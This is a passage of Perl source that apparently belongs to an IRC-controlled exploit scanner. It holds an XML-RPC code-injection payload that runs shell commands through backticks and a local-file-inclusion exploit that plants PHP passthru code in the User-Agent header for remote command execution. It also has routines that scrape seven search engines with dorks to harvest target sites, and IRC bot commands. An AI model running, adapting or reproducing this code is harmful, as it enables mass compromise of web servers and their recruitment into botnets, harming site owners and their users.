$exploit .= "<params><param><value><name>',''));";
$exploit .= "echo'j13m';echo`".$xmlsprd."`;echo'b0T';exit;/*</name></val
ue></param></params></methodCall>";
my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', C
ontent => $exploit);
}
sub getcontent() {
my $url = $_[0];
my $req = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new();
$ua->timeout(15);
my $response = $ua->request($req);
return $response->content;
}
sub lfiexploit() {
my $url = $_[0];
my $rce = $_[1];
my $agent = "<?php echo \"ng3tes#\"; passthru(\'".$rce."\'); echo \"#ng3tes\
"; ?>";
my $ua = LWP::UserAgent->new(agent => $agent);
$ua->timeout(15);
my $req = HTTP::Request->new(GET => $url);
my $response = $ua->request($req);
return $response->content;
}
sub google(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=1000; $b+=100){
my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&s
tart=".$b);
my $Res=query($Go);
while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
sub alltheweb() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=100) {
my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=10
0&q=".key($key)."&o=".$b);
my $Res = query($all);
while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
my $k = $1;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}
sub uol() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&st
art=".$b);
my $Res = query($UoL);
while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
my $k = $1;
if ( $k !~ /busca|uol|yahoo/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
sub Bing() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first="
.$b."&FORM=PERE");
my $Res = query($bing);
while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
if ( $1 !~ /msn|live|bing/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
sub altavista(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1
&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while ($Res=~m/<span class=ngrn>(.+?)\//g){
if ($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
sub ask() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=10) {
my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=E
E90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
my $Res = query($Ask);
while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
if ($1 !~ /ask.com/){
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
sub yahoo() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=1) {
my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-
8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
my $Res = query($yahoo);
while ($Res =~ m/26u=(.*?)%26w=/g) {
if ($1 !~ /yahoo/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
sub os() {
my $target=$_[0];
my $re = &query($target);
while ($re =~ m/<br>OSTYPE:(.+?)\<br>/g) {
$os = $1;
}
}
sub query($) {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $query = $url;
my $page = "";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ( $query eq "" ) { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto =>
"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mo
zilla/5.0\r\n\r\n";
my @r = <$sock>;
$page = "@r";
close($sock);
};
return $page;
}
sub links() {
my @l;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= "/";
$link .= "/";
$hdir .= "/";
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push( @l, $link, $host, $hdir );
return @l;
}
sub key() {
my $dork = $_[0];
$dork =~ s/ /\+/g;
$dork =~ s/:/\%3A/g;
$dork =~ s/\//\%2F/g;
$dork =~ s/&/\%26/g;
$dork =~ s/\"/\%22/g;
$dork =~ s/,/\%2C/g;
$dork =~ s/\\/\%5C/g;
return $dork;
}

sub calculate {
my @calculate = ();
my %visti = ();
foreach my $element (@_) {
$element =~ s/\/+/\//g;
next if $visti{$element}++;
push @calculate, $element;
}
return @calculate;
}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub join {
sendraw("JOIN $_[0]");
}
sub part {
sendraw("PART $_[0]");
}
sub quit {
sendraw("QUIT $_[0]");
exit;
}

También podría gustarte